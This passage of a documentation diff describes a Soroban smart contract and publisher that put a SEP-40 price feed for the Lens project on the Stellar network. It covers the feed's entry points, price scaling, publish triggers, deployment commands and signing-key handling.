`decimals` | `() -> u32` | Scale of `PriceData.price`. Immutable. | -| `resolution` | `() -> u32` | Tick period in seconds that timestamps are trimmed to. Immutable. | -| `price` | `(Asset, u64) -> Option` | The newest record **at or before** the requested timestamp. | -| `prices` | `(Asset, u32) -> Option>` | The last *n* records, newest first. | -| `lastprice` | `(Asset) -> Option` | The current feed value. | -| `last_report` | `(Asset) -> Option` | Lens-specific: provenance of the last write (see 1.4). | - -A deviation-triggered feed is deliberately non-uniform — there is no record at -every tick — so `price(asset, timestamp)` answers with the value that was **in -effect** at that time rather than looking for an exact match. That is the -extrapolation SEP-40 asks an oracle to present, and it is why the feed can be -consumed by contracts that assume a tick per resolution. - -### 1.2 Price encoding - -`PriceData.price` is an `i128` scaled by `decimals()`: - -``` -real_price = PriceData.price / 10^decimals() -``` - -`PriceData.timestamp` is unix **seconds**, and the contract enforces SEP-40's -trimming rule on every write: - -``` -timestamp == floor(unix_now() / resolution()) * resolution() -``` - -A write whose timestamp is not a whole number of ticks is rejected -(`TimestampNotAligned`), so a consumer can treat trimming as a guarantee instead -of a convention. Lens trims on the way out (`trimTimestamp` in -`src/publish/sep40.ts`) and the contract re-checks. - -Scaling is done through a decimal **string**, not a float multiply, because -`0.29 * 1e14` is `28999999999999.996` — `BigInt()` of that throws and -`Math.round()` of that puts `28999999999999` on chain. One decimal digit off is -a price that is wrong by a factor of ten, so `scalePrice` refuses non-integer -results, exponential notation, non-positive prices and values beyond `i128`. - -### 1.3 `None`, not an error - -SEP-40: "oracles should delegate error handling logic directly to consumer -contracts". So the read side returns `None` — never a revert — for an asset the -feed has never quoted, a timestamp before the first report, a `records` count of -zero, and an empty history. A consumer that wants to distinguish "no data" from -"bad request" has to ask for `last_report` or call `assets()`; a consumer that -just wants to not settle on missing data checks for `None`. - -### 1.4 Provenance, beyond SEP-40 - -SEP-40's `PriceData` has no room for "where did this come from", and Lens -refuses to publish a number it cannot source. Every `report` therefore carries -the venue names behind it: - -```rust -pub struct Report { - pub price: i128, - pub timestamp: u64, // SEP-40 feed timestamp - pub reported_at: u64, // ledger close time of the write - pub reported_ledger: u32, // ledger the write landed in - pub source_count: u32, // always venues.len() - pub venues: Vec, // 'SDEX', 'AMM', 'aquarius_amm', 'soroswap_amm', … -} -``` - -`source_count` is **derived** from the venue list rather than passed in, so the -contract cannot store a price claiming more sources than it can name. An empty -venue list is rejected (`NoVenues`), as is a list longer than `MAX_VENUES` (16). -Venues are never blended: the aggregate `price` is a route-aware best quote and -the list says which markets produced it, exactly as `/price/:a/:b` reports -`bestRoute` and `sources`. - -`reported_at` and `reported_ledger` are what let a consumer apply the same -staleness bar the HTTP API does: `lastprice.timestamp` says when the *market* -tick happened, `last_report.reported_at` says when the feed *learned* it. - -### 1.5 Errors - -| Code | Name | Raised when | -| --- | --- | --- | -| 1 | `AlreadyInitialized` | `initialize` is called a second time. | -| 2 | `NonPositivePrice` | `price <= 0`. | -| 3 | `TimestampNotAligned` | `timestamp % resolution != 0`. | -| 4 | `NotNewer` | `timestamp` is not strictly newer than the asset's last record. | -| 5 | `TimestampInFuture` | `timestamp > env.ledger().timestamp()`. | -| 6 | `NoVenues` | Empty venue list. | -| 7 | `TooManyVenues` | More than `MAX_VENUES` names. | -| 8 | `InvalidConfig` | `decimals == 0` or `resolution == 0` at `initialize`. | - -`NotNewer` and `TimestampInFuture` are what make a retried publish harmless: a -replay of a tick that already landed is refused, and a publisher with a clock -ahead of the ledger cannot hand consumers a price that never ages. - -### 1.6 Admin surface - -- `initialize(admin, base, decimals, resolution)` — one-shot, admin-authenticated. -- `set_publisher(publisher)` — admin-authenticated; points `report` at the hot key. -- `upgrade(new_wasm_hash)` — admin-authenticated; swaps the WASM **without - changing the contract address**, which SEP-40 requires ("smart contract - consumers should only be expected to change their price feed aggregator address - if they would like to change oracle providers"). - -`report` authorizes exactly one address: the publisher when one is set, the -admin otherwise. Tests assert both halves of that — that a write carrying no -publisher authorization does not land, and that the address the feed demands is -the publisher and not the transaction's signer. - -### 1.7 Storage - -Per asset: `Last` (one `PriceData`), `LastReport` (one `Report`) and `History` -(newest-first, trimmed to `MAX_HISTORY = 64` records). The asset registry is one -instance entry. Persistent entries extend their TTL on read and write -(`TTL_THRESHOLD = 5_000`, `TTL_BUMP = 40_000` ledgers), and instance storage is -extended at `initialize`, so an idle feed does not expire out from under its -consumers. - ---- - -## 2. How a Lens pair becomes a feed value - -Lens stores a pair as **`price` = units of assetB per assetA**. SEP-40 quotes -every asset against one **base**. `orientAgainstBase` in -`src/publish/publisher.ts` reconciles the two from the base the *deployed -contract* reports — never from an env var, because a mis-declared scale produces -a price that is wrong by orders of magnitude and still reads fine: - -| Feed `base` | Quoted asset | Price published | -| --- | --- | --- | -| equals `assetB` | `assetA` | the stored number, as-is | -| equals `assetA` | `assetB` | `1 / stored` (inverted) | -| neither | — | pair skipped, reason recorded | - -Worked example, the default pair in `.env.example`: `XLM:native / USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5` -stores `price = USDC per XLM`. With `base = Other("USDC")`, `decimals = 14`, the -feed quotes `Asset::Other("XLM")` directly — `0.025` becomes `250000000000000`. -The same feed pointed at `base = Other("XLM")` would quote the USDC leg and -publish `1 / 0.025 = 40` as `400000000000000000000`. - -A pair whose legs are neither of them is **not** published. Putting a ratio under -the wrong asset label is worse than an empty feed, so the cycle records the -reason (`base_not_in_pair`) and moves on. - -Asset identity follows SEP-40: an anchored asset is identified by the address of -its **Stellar Asset Contract**, derived with -`new Asset(code, issuer).contractId(passphrase)` — issuer-qualified by -construction, so two tokens called USDC are two different assets. Native XLM has -no asset contract and uses the spec's `Other(Symbol)` form. Contract addresses -are derived from the issuer in `WATCHED_PAIRS_*`, never typed by hand. As one -reference point, mainnet USDC (`GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN`) -derives to `CCW67TSZV3SSS2HXMBQ5JFGCKJNXKZM7UQUWUZPUTHXSTZLEO7SJMI75`; the test -suite asserts that derivation so a typo in the issuer cannot pass silently. -**This document deliberately contains no Lens feed contract id** — it is created -when the operator deploys `oracle/contract/` (§4), and a placeholder in the docs -is how five deployments end up pointing at five different guesses. - ---- - -## 3. When Lens writes - -The policy is `src/publish/trigger.ts`, a pure function over -(aggregate, what is already on chain, thresholds, clock). It exists because a -tick is not an event: Lens polls every few seconds, and a publisher that wrote -per sample would be a transaction spam bot that also publishes the noise between -trades. - -Order matters, and it is what makes the acceptance criteria checkable: - -**Guards — evaluated first, before any chain read.** - -| Guard | Condition | -| --- | --- | -| `no_venue` | No venue name behind the number. "A price you cannot source is worse than no price." | -| `invalid_price` | Zero, negative or non-finite. | -| `no_observation` | No trade has ever been recorded for this pair **on this network**. | -| `stale_aggregate` | The aggregator's own `stale` flag is set — the same signal `/price` reports, so the feed can never carry a price the API calls stale. | -| `aggregate_too_old` | `lastTradeAgeSeconds > SEP40_MAX_AGE_SECONDS` (default 120). | - -`evaluateGuards` runs **before** `lastprice` is read. A stale aggregate needs no -comparison to decide anything — it is simply not publishable — so a blocked tick -provably touches no RPC and spends no fee. That is the "a stale aggregate is -never published" criterion as a code path, not as a promise. - -**Triggers — at least one must fire.** - -| Trigger | Condition | -| --- | --- | -| `first_report` | The feed holds nothing for this asset. | -| `deviation` | The aggregate is `SEP40_DEVIATION_PCT` (default 0.5%) away from the **on-chain** price. | -| `max_interval` | The on-chain price is older than `SEP40_MAX_INTERVAL_MS` (default 900000 = 15 min), even without moving. | - -`deviation` wins when both fire. The reference for deviation is -`lastprice()` from the contract rather than a local variable, so two publisher -instances (a restart racing itself, a canary) agree on what "moved" means. - -**Write vetoes — a trigger that fired still may not write.** - -| Veto | Condition | -| --- | --- | -| `tick_not_advanced` | The current feed tick is not newer than the last report — the contract would answer `NotNewer`, so Lens does not send a doomed transaction. | -| `min_write_interval` | Fewer than `SEP40_MIN_WRITE_INTERVAL_MS` (default 60000) seconds since the last report. | - -Both record `suppressedBy`, so the audit row says which trigger was silenced and -by what — the difference between "the market did not move" and "the market moved -but we are rate-limited". - -`max_interval` is what stops a quiet market from leaving consumers reading a -timestamp that only gets older; `min_write_interval` is the actual rate limit — -it caps a fast market at one write per asset per interval, not one per sample. -At the defaults, an hour of 30-second polling moves at least 0.5% every tick: -**60 writes maximum, not 120**. The deviation threshold is measured against the -value already on chain, so a slow drift publishes when it has accumulated, not -on every step. - -`SEP40_MAX_AGE_SECONDS` (120) is deliberately stricter than the API's 300-second -stale flag. An HTTP price can be "as good as we have it"; a price a contract -settles against cannot. - ---- - -## 4. Deploying the feed - -### 4.1 Build (this part is reproducible here) - -```bash -cd oracle/contract -cargo build --release --target wasm32v1-none -cargo test --lib # 20 tests, no network needed -``` - -The release profile in `Cargo.toml` is the one Soroban wants: `opt-level = "z"`, -`lto = true`, `panic = "abort"`. Output: -`target/wasm32v1-none/release/lens_sep40_oracle.wasm`. - -`Cargo.lock` is committed. It pins `ed25519-dalek` to 2.2.0 on purpose: -`soroban-env-host` 22.1.3 (which `soroban-sdk` 22.0.11 pins exactly) does not -compile against the 3.0.0 release, and the resolution is what makes -`cargo test --lib` work on a fresh clone. - -### 4.2 Deploy, initialize, hand over - -The `soroban` CLI is not part of this repository's CI, and its flag names and -enum-argument JSON have moved between versions — check `soroban --version` and -` --help` before pasting. The **sequence** is what matters, and each -step is verifiable: - -```bash -# 1. Deploy the WASM. The address it prints is your feed's SEP-40 address. -soroban contract deploy --source "$ADMIN_ACCOUNT" --network testnet \ - --wasm target/wasm32v1-none/release/lens_sep40_oracle.wasm - -# 2. Configure it once. base/decimals/resolution are immutable afterwards. -soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- \ - initialize --admin "$ADMIN_ACCOUNT" --base "" \ - --decimals 14 --resolution 60 - -# 3. Point report at the hot publisher key (a different account from $ADMIN_ACCOUNT). -soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- \ - set_publisher --publisher "$PUBLISHER_ACCOUNT" - -# 4. Read the parameters back before letting Lens near it. -soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- base -soroban contract invoke --id "$FEED" --network testnet -- decimals -soroban contract invoke --id "$FEED" --network testnet -- resolution -``` - -Recommended values, matching the contract's test suite and the scaling in -`src/publish/sep40.ts`: `decimals = 14`, `resolution = 60`. Lens reads both from -the contract at runtime and **fails closed** if the reads fail — there is no -fallback scale. `base` should be the asset you want your consumers quoted in, -and it must be one leg of every pair you intend to publish (§2). - -Upgrades keep the address: - -```bash -soroban contract install --source "$ADMIN_ACCOUNT" --network testnet \ - --wasm target/wasm32v1-none/release/lens_sep40_oracle.wasm # prints the WASM hash -soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- \ - upgrade --new_wasm_hash "$WASM_HASH" -``` - -### 4.3 Run the publisher - -```bash -# .env (never committed) -ENABLED_NETWORKS=testnet -SEP40_ENABLED_TESTNET=true -SEP40_CONTRACT_ID_TESTNET= -SEP40_PUBLISHER_SECRET_KEY_TESTNET= -``` - -`src/index.ts` starts one publisher per enabled network the same way it starts -venue ingesters — inside `restartIngester`, so a crash restarts that network's -publisher after 10 s and cannot affect the other network or the other adapters. -Startup is quiet and safe by default: - -- `SEP40_ENABLED_*=false` (the default) → the loop never starts. -- Enabled but missing the contract id or the key → warning, publication stays off. -- A malformed (`not even a valid C…` id) → `isUsableContractId` warns and - disables it, as it does for every other contract address in `src/config.ts`. - -Pair lists come from `WATCHED_PAIRS_TESTNET` / `WATCHED_PAIRS_MAINNET` for that -network, not from the shared runtime registry, and every aggregate, venue and -`price_points` query in the loop carries `network` in its WHERE clause. A -publisher must not be able to quote testnet trades on a mainnet feed. - -No REST or GraphQL route is added: the point of SEP-40 is that a contract reads -the feed on chain, and the existing `/price` already serves the off-chain -consumer. - -### 4.4 Audit trail - -`oracle_publications` (Prisma model `OraclePublication`) records **writes**, not -every blocked decision — at the default 30-second poll a blocked decision would -be 2 880 rows a day per pair per network (5 760 on both, 17 280 for a three-pair -list) all saying "nothing happened". Columns: `network`, `pairKey`, -`quotedAsset`, `baseAsset`, `state` (`published` | `failed`), `trigger`, -`price`, `scaledPrice` (the `i128` as text), `decimals`, `feedTimestamp`, -`resolution`, `venues` (comma-joined names), `sourceCount`, `deviationPct`, -`reason`, `txHash`, `errorMessage`, `createdAt`. - -A failed write is recorded the same way a success is and the loop continues with -the next pair: the number Lens meant to publish, the venues behind it, and why it -did not land is exactly what an operator needs at 3 a.m. A feed Lens cannot -**read** is different — `FeedUnavailableError` aborts the cycle and the loop -backs off (10 s, doubling, capped at 60 s), because "we could not check what is -already on chain" means the deviation and monotonicity promises cannot be kept. - -`npm run db:migrate` (`prisma migrate dev`) creates the table; this repo -has no migrations directory. - ---- - -## 5. Key handling - -Two accounts, and they are not interchangeable: - -| | Admin | Publisher | -| --- | --- | --- | -| Signs | `initialize`, `set_publisher`, `upgrade` | `report` — every publication | -| Lives | Cold: hardware wallet, or an offline signer. Not in any server's env if you can avoid it. | Hot: `SEP40_PUBLISHER_SECRET_KEY_*` on the host running Lens | -| Needs | Enough XLM for the rare admin transaction | XLM for one transaction per publication, per asset | -| Leak damage | Attacker can upgrade the feed — catastrophic | Attacker can publish bad prices until you rotate — bad, recoverable | - -- **Funding.** The publisher pays every write's fee, so it needs XLM on the same - network as the feed. At the defaults the worst case is bounded and - computable: one write per asset per `SEP40_MIN_WRITE_INTERVAL_MS`, so - `pairs × (86400 / minWriteIntervalSeconds)` transactions per day — 1 440 per - asset per day at the 60-second floor, and typically far fewer, because a - deviation has to occur for a write to be attempted at all. -- **Never committed.** `.env` is gitignored, `.env.example` carries the variable - names with empty values and comments only, and no secret key appears in source, - docs, tests, or changesets. The publisher only ever reads the key through - `Keypair.fromSecret()` inside `src/publish/onchain.ts`; it is not logged, not - returned, and not written to `oracle_publications`. -- **Rotation.** Fund a new account, `set_publisher` to it (admin signs), update - `SEP40_PUBLISHER_SECRET_KEY_*`, restart. Until the new key is live the old one - still authorizes writes; after `set_publisher` the old one does not — the - contract compares the stored publisher address, it does not trust the - transaction's signer. -- **Failing closed.** No key → no publication, with a log line saying so. A - partially configured publisher is worse than an absent one: it either burns - fees on the wrong feed or silently publishes nothing while looking healthy. -- If you use one Lens process for both networks, use one publisher account per - network. A leaked testnet key should not be a mainnet problem. - ---- - -## 6. Reading the feed from a contract - -A consumer declares the same two types and calls the spec's names — nothing -Lens-specific is required: - -```rust -use soroban_sdk::{contract, contractimpl, symbol_short, Address, Env, IntoVal, Symbol}; - -#[contracttype] -#[derive(Clone)] -pub enum Asset { Stellar(Address), Other(Symbol) } - -#[contracttype] -#[derive(Clone)] -pub struct PriceData { pub price: i128, pub timestamp: u64 } - -#[contract] -pub struct Consumer; - -#[contractimpl] -impl Consumer { - /// XLM per USDC, or nothing at all if the feed has no price or the caller's - /// staleness bar is not met. - pub fn spot(env: Env, feed: Address, max_age: u64) -> Option { - let asset = Asset::Other(symbol_short!("XLM")); - let data: PriceData = env - .invoke_contract::>( - &feed, - &symbol_short!("lastprice"), - (asset,).into_val(&env), - ) - .ok()??; - if env.ledger().timestamp() - data.timestamp > max_age { - return None; // stale: refuse, rather than settle on an old tick - } - Some(data.price) // still scaled by the feed's decimals() - } -} -``` - -Check `None`, and check the age, before trusting a number: that is the whole -consumer-side contract, and it is why `decimals`/`resolution` are readable -entry points rather than documentation. - -## 7. Reading the feed from JS - -```ts -import { contract as StellarContract, Networks, SorobanRpc } from '@stellar/stellar-sdk' - -const client = await StellarContract.Client.from({ - contractId: process.env.SEP40_CONTRACT_ID_TESTNET!, - rpcUrl: 'https://soroban-testnet.stellar.org', - networkPassphrase: Networks.TESTNET, -}) - -// SEP-40's `Asset` is a `contracttype` enum with tuple variants, which the SDK -// represents natively as { tag, values } — the form `assetToSpecArg` builds. -const tx = await client.lastprice({ asset: { tag: 'Other', values: ['XLM'] } }) -if (!tx.result) throw new Error('the feed has no price for XLM yet') // None -const decimals = Number((await client.decimals()).result) // 14 -const price = Number(tx.result.price) / 10 ** decimals -const ageSeconds = Math.floor(Date.now() / 1000) - Number(tx.result.timestamp) -``` - -Awaiting a dynamic `Client` method simulates the call and gives an -`AssembledTransaction`; `.result` is the decoded return value. `None` from the -contract arrives as `null`/`undefined` here, which is the check §6 also demands. - -`src/publish/sep40.ts` has the encoders both directions (`assetToScVal`, -`assetFromSpecArg`, `scalePrice`, `unscalePrice`) if you need the XDR form, and -`src/publish/onchain.ts` is the working `Client.from({...})` setup the publisher -itself uses. Note the import path: this repo compiles with `module: commonjs`, so -the `@stellar/stellar-sdk/contract` subpath does not resolve and the `contract` -namespace comes from the package root. - -## 8. Tests - -```bash -npm test -- src/__tests__/sep40Encoding.test.ts \ - src/__tests__/sep40Trigger.test.ts \ - src/__tests__/sep40Publisher.test.ts -cd oracle/contract && cargo test --lib -``` - -This repo's tests are **vitest**, not jest. The three suites cover: - -- `sep40Encoding` — exact scaling (`0.29` at 14 decimals is the case that float - maths gets wrong), `i128` bounds, refusals, SAC-address derivation including - the mainnet USDC assertion and an imposter-issuer check, the `{tag, values}` - and `Vec[Symbol, value]` wire forms, venue list validation. -- `sep40Trigger` — every guard outranking every trigger (a stale aggregate that - has also aged out must not publish), both write vetoes with `suppressedBy`, - and an hour-long simulated poll asserting the write count is rate-limited - rather than proportional to samples. -- `sep40Publisher` — orientation and inversion, `base_not_in_pair`, provenance - audit rows, deviation measured against the on-chain value, a stale aggregate - proving **zero** `lastPrice`/`report` calls, failed writes recorded without - killing the cycle, and a bad issuer on one pair not silencing another. - -## 9. Known limits - -- One feed, one base. Pairs that do not contain the base are skipped with a - reason; quote more bases by deploying another feed. -- Publication is off by default on every network and needs a funded publisher; - nothing in this feature runs unless an operator opts in. -- `price(asset, timestamp)` answers from the retained 64 records. Older history - lives in Postgres and behind `/price/:a/:b/history`, not on chain. -- The RPC layer (`ContractSep40Feed`) is not exercised against a deployed feed - by any test in this PR — there is no Lens feed contract to point at yet. What - is proven here is the policy around it (`sep40Publisher`), the encoding both - sides must agree on (`sep40Encoding`, `sep40Trigger`), and the contract itself - (`cargo test --lib`). Signing up to a real network is the remaining step, and - it needs a deployment first. +# SEP-40 oracle publisher + +Lens has always been an oracle **consumer**: it reads Reflector's prices and +compares them with its own. Issue #222 is the other direction — Lens as an +oracle **publisher**, exposing a [SEP-40](https://github.com/StellarCommunity/seps/blob/main/SEP-0040.md) +compatible price feed that any Soroban contract can read. + +Two pieces make up the feature: + +| Piece | Where | What it does | +| --- | --- | --- | +| The feed | `oracle/contract/` | A Soroban contract implementing SEP-40's `PriceFeedTrait`, plus one provider-side write (`report`). | +| The publisher | `src/publish/` | The process that decides **when** a Lens aggregate is worth a transaction, and writes it. Runs once per enabled network, next to the ingest loops. | + +SEP-40 standardises the *read* side only ("the exact mechanism of data reporting +mechanism utilized by an oracle is out of scope of this SEP"), so `report` is +Lens's own design and every other entry point is exactly the shape the spec +defines. + +--- + +## 1. The contract + +`oracle/contract/src/lib.rs` — package `lens_sep40_oracle`. + +### 1.1 The SEP-40 read surface + +Declared names and signatures are the spec's, not adaptations: + +| Entry point | Signature | Lens's behaviour | +| --- | --- | --- | +| `base` | `() -> Asset` | The asset every price in the feed is denominated in. Set once at `initialize`. | +| `assets` | `() -> Vec` | Every asset that has ever been reported, in first-seen order. | +| `decimals` | `() -> u32` | Scale of `PriceData.price`. Immutable. | +| `resolution` | `() -> u32` | Tick period in seconds that timestamps are trimmed to. Immutable. | +| `price` | `(Asset, u64) -> Option` | The newest record **at or before** the requested timestamp. | +| `prices` | `(Asset, u32) -> Option>` | The last *n* records, newest first. | +| `lastprice` | `(Asset) -> Option` | The current feed value. | +| `last_report` | `(Asset) -> Option` | Lens-specific: provenance of the last write (see 1.4). | + +A deviation-triggered feed is deliberately non-uniform — there is no record at +every tick — so `price(asset, timestamp)` answers with the value that was **in +effect** at that time rather than looking for an exact match. That is the +extrapolation SEP-40 asks an oracle to present, and it is why the feed can be +consumed by contracts that assume a tick per resolution. + +### 1.2 Price encoding + +`PriceData.price` is an `i128` scaled by `decimals()`: + +``` +real_price = PriceData.price / 10^decimals() +``` + +`PriceData.timestamp` is unix **seconds**, and the contract enforces SEP-40's +trimming rule on every write: + +``` +timestamp == floor(unix_now() / resolution()) * resolution() +``` + +A write whose timestamp is not a whole number of ticks is rejected +(`TimestampNotAligned`), so a consumer can treat trimming as a guarantee instead +of a convention. Lens trims on the way out (`trimTimestamp` in +`src/publish/sep40.ts`) and the contract re-checks. + +Scaling is done through a decimal **string**, not a float multiply, because +`0.29 * 1e14` is `28999999999999.996` — `BigInt()` of that throws and +`Math.round()` of that puts `28999999999999` on chain. One decimal digit off is +a price that is wrong by a factor of ten, so `scalePrice` refuses non-integer +results, exponential notation, non-positive prices and values beyond `i128`. + +### 1.3 `None`, not an error + +SEP-40: "oracles should delegate error handling logic directly to consumer +contracts". So the read side returns `None` — never a revert — for an asset the +feed has never quoted, a timestamp before the first report, a `records` count of +zero, and an empty history. A consumer that wants to distinguish "no data" from +"bad request" has to ask for `last_report` or call `assets()`; a consumer that +just wants to not settle on missing data checks for `None`. + +### 1.4 Provenance, beyond SEP-40 + +SEP-40's `PriceData` has no room for "where did this come from", and Lens +refuses to publish a number it cannot source. Every `report` therefore carries +the venue names behind it: + +```rust +pub struct Report { + pub price: i128, + pub timestamp: u64, // SEP-40 feed timestamp + pub reported_at: u64, // ledger close time of the write + pub reported_ledger: u32, // ledger the write landed in + pub source_count: u32, // always venues.len() + pub venues: Vec, // 'SDEX', 'AMM', 'aquarius_amm', 'soroswap_amm', … +} +``` + +`source_count` is **derived** from the venue list rather than passed in, so the +contract cannot store a price claiming more sources than it can name. An empty +venue list is rejected (`NoVenues`), as is a list longer than `MAX_VENUES` (16). +Venues are never blended: the aggregate `price` is a route-aware best quote and +the list says which markets produced it, exactly as `/price/:a/:b` reports +`bestRoute` and `sources`. + +`reported_at` and `reported_ledger` are what let a consumer apply the same +staleness bar the HTTP API does: `lastprice.timestamp` says when the *market* +tick happened, `last_report.reported_at` says when the feed *learned* it. + +### 1.5 Errors + +| Code | Name | Raised when | +| --- | --- | --- | +| 1 | `AlreadyInitialized` | `initialize` is called a second time. | +| 2 | `NonPositivePrice` | `price <= 0`. | +| 3 | `TimestampNotAligned` | `timestamp % resolution != 0`. | +| 4 | `NotNewer` | `timestamp` is not strictly newer than the asset's last record. | +| 5 | `TimestampInFuture` | `timestamp > env.ledger().timestamp()`. | +| 6 | `NoVenues` | Empty venue list. | +| 7 | `TooManyVenues` | More than `MAX_VENUES` names. | +| 8 | `InvalidConfig` | `decimals == 0` or `resolution == 0` at `initialize`. | + +`NotNewer` and `TimestampInFuture` are what make a retried publish harmless: a +replay of a tick that already landed is refused, and a publisher with a clock +ahead of the ledger cannot hand consumers a price that never ages. + +### 1.6 Admin surface + +- `initialize(admin, base, decimals, resolution)` — one-shot, admin-authenticated. +- `set_publisher(publisher)` — admin-authenticated; points `report` at the hot key. +- `upgrade(new_wasm_hash)` — admin-authenticated; swaps the WASM **without + changing the contract address**, which SEP-40 requires ("smart contract + consumers should only be expected to change their price feed aggregator address + if they would like to change oracle providers"). + +`report` authorizes exactly one address: the publisher when one is set, the +admin otherwise. Tests assert both halves of that — that a write carrying no +publisher authorization does not land, and that the address the feed demands is +the publisher and not the transaction's signer. + +### 1.7 Storage + +Per asset: `Last` (one `PriceData`), `LastReport` (one `Report`) and `History` +(newest-first, trimmed to `MAX_HISTORY = 64` records). The asset registry is one +instance entry. Persistent entries extend their TTL on read and write +(`TTL_THRESHOLD = 5_000`, `TTL_BUMP = 40_000` ledgers), and instance storage is +extended at `initialize`, so an idle feed does not expire out from under its +consumers. + +--- + +## 2. How a Lens pair becomes a feed value + +Lens stores a pair as **`price` = units of assetB per assetA**. SEP-40 quotes +every asset against one **base**. `orientAgainstBase` in +`src/publish/publisher.ts` reconciles the two from the base the *deployed +contract* reports — never from an env var, because a mis-declared scale produces +a price that is wrong by orders of magnitude and still reads fine: + +| Feed `base` | Quoted asset | Price published | +| --- | --- | --- | +| equals `assetB` | `assetA` | the stored number, as-is | +| equals `assetA` | `assetB` | `1 / stored` (inverted) | +| neither | — | pair skipped, reason recorded | + +Worked example, the default pair in `.env.example`: `XLM:native / USDC:GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5` +stores `price = USDC per XLM`. With `base = Other("USDC")`, `decimals = 14`, the +feed quotes `Asset::Other("XLM")` directly — `0.025` becomes `250000000000000`. +The same feed pointed at `base = Other("XLM")` would quote the USDC leg and +publish `1 / 0.025 = 40` as `400000000000000000000`. + +A pair whose legs are neither of them is **not** published. Putting a ratio under +the wrong asset label is worse than an empty feed, so the cycle records the +reason (`base_not_in_pair`) and moves on. + +Asset identity follows SEP-40: an anchored asset is identified by the address of +its **Stellar Asset Contract**, derived with +`new Asset(code, issuer).contractId(passphrase)` — issuer-qualified by +construction, so two tokens called USDC are two different assets. Native XLM has +no asset contract and uses the spec's `Other(Symbol)` form. Contract addresses +are derived from the issuer in `WATCHED_PAIRS_*`, never typed by hand. As one +reference point, mainnet USDC (`GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN`) +derives to `CCW67TSZV3SSS2HXMBQ5JFGCKJNXKZM7UQUWUZPUTHXSTZLEO7SJMI75`; the test +suite asserts that derivation so a typo in the issuer cannot pass silently. +**This document deliberately contains no Lens feed contract id** — it is created +when the operator deploys `oracle/contract/` (§4), and a placeholder in the docs +is how five deployments end up pointing at five different guesses. + +--- + +## 3. When Lens writes + +The policy is `src/publish/trigger.ts`, a pure function over +(aggregate, what is already on chain, thresholds, clock). It exists because a +tick is not an event: Lens polls every few seconds, and a publisher that wrote +per sample would be a transaction spam bot that also publishes the noise between +trades. + +Order matters, and it is what makes the acceptance criteria checkable: + +**Guards — evaluated first, before any chain read.** + +| Guard | Condition | +| --- | --- | +| `no_venue` | No venue name behind the number. "A price you cannot source is worse than no price." | +| `invalid_price` | Zero, negative or non-finite. | +| `no_observation` | No trade has ever been recorded for this pair **on this network**. | +| `stale_aggregate` | The aggregator's own `stale` flag is set — the same signal `/price` reports, so the feed can never carry a price the API calls stale. | +| `aggregate_too_old` | `lastTradeAgeSeconds > SEP40_MAX_AGE_SECONDS` (default 120). | + +`evaluateGuards` runs **before** `lastprice` is read. A stale aggregate needs no +comparison to decide anything — it is simply not publishable — so a blocked tick +provably touches no RPC and spends no fee. That is the "a stale aggregate is +never published" criterion as a code path, not as a promise. + +**Triggers — at least one must fire.** + +| Trigger | Condition | +| --- | --- | +| `first_report` | The feed holds nothing for this asset. | +| `deviation` | The aggregate is `SEP40_DEVIATION_PCT` (default 0.5%) away from the **on-chain** price. | +| `max_interval` | The on-chain price is older than `SEP40_MAX_INTERVAL_MS` (default 900000 = 15 min), even without moving. | + +`deviation` wins when both fire. The reference for deviation is +`lastprice()` from the contract rather than a local variable, so two publisher +instances (a restart racing itself, a canary) agree on what "moved" means. + +**Write vetoes — a trigger that fired still may not write.** + +| Veto | Condition | +| --- | --- | +| `tick_not_advanced` | The current feed tick is not newer than the last report — the contract would answer `NotNewer`, so Lens does not send a doomed transaction. | +| `min_write_interval` | Fewer than `SEP40_MIN_WRITE_INTERVAL_MS` (default 60000) seconds since the last report. | + +Both record `suppressedBy`, so the audit row says which trigger was silenced and +by what — the difference between "the market did not move" and "the market moved +but we are rate-limited". + +`max_interval` is what stops a quiet market from leaving consumers reading a +timestamp that only gets older; `min_write_interval` is the actual rate limit — +it caps a fast market at one write per asset per interval, not one per sample. +At the defaults, an hour of 30-second polling moves at least 0.5% every tick: +**60 writes maximum, not 120**. The deviation threshold is measured against the +value already on chain, so a slow drift publishes when it has accumulated, not +on every step. + +`SEP40_MAX_AGE_SECONDS` (120) is deliberately stricter than the API's 300-second +stale flag. An HTTP price can be "as good as we have it"; a price a contract +settles against cannot. + +--- + +## 4. Deploying the feed + +### 4.1 Build (this part is reproducible here) + +```bash +cd oracle/contract +cargo build --release --target wasm32v1-none +cargo test --lib # 20 tests, no network needed +``` + +The release profile in `Cargo.toml` is the one Soroban wants: `opt-level = "z"`, +`lto = true`, `panic = "abort"`. Output: +`target/wasm32v1-none/release/lens_sep40_oracle.wasm`. + +`Cargo.lock` is committed. It pins `ed25519-dalek` to 2.2.0 on purpose: +`soroban-env-host` 22.1.3 (which `soroban-sdk` 22.0.11 pins exactly) does not +compile against the 3.0.0 release, and the resolution is what makes +`cargo test --lib` work on a fresh clone. + +### 4.2 Deploy, initialize, hand over + +The `soroban` CLI is not part of this repository's CI, and its flag names and +enum-argument JSON have moved between versions — check `soroban --version` and +` --help` before pasting. The **sequence** is what matters, and each +step is verifiable: + +```bash +# 1. Deploy the WASM. The address it prints is your feed's SEP-40 address. +soroban contract deploy --source "$ADMIN_ACCOUNT" --network testnet \ + --wasm target/wasm32v1-none/release/lens_sep40_oracle.wasm + +# 2. Configure it once. base/decimals/resolution are immutable afterwards. +soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- \ + initialize --admin "$ADMIN_ACCOUNT" --base "" \ + --decimals 14 --resolution 60 + +# 3. Point report at the hot publisher key (a different account from $ADMIN_ACCOUNT). +soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- \ + set_publisher --publisher "$PUBLISHER_ACCOUNT" + +# 4. Read the parameters back before letting Lens near it. +soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- base +soroban contract invoke --id "$FEED" --network testnet -- decimals +soroban contract invoke 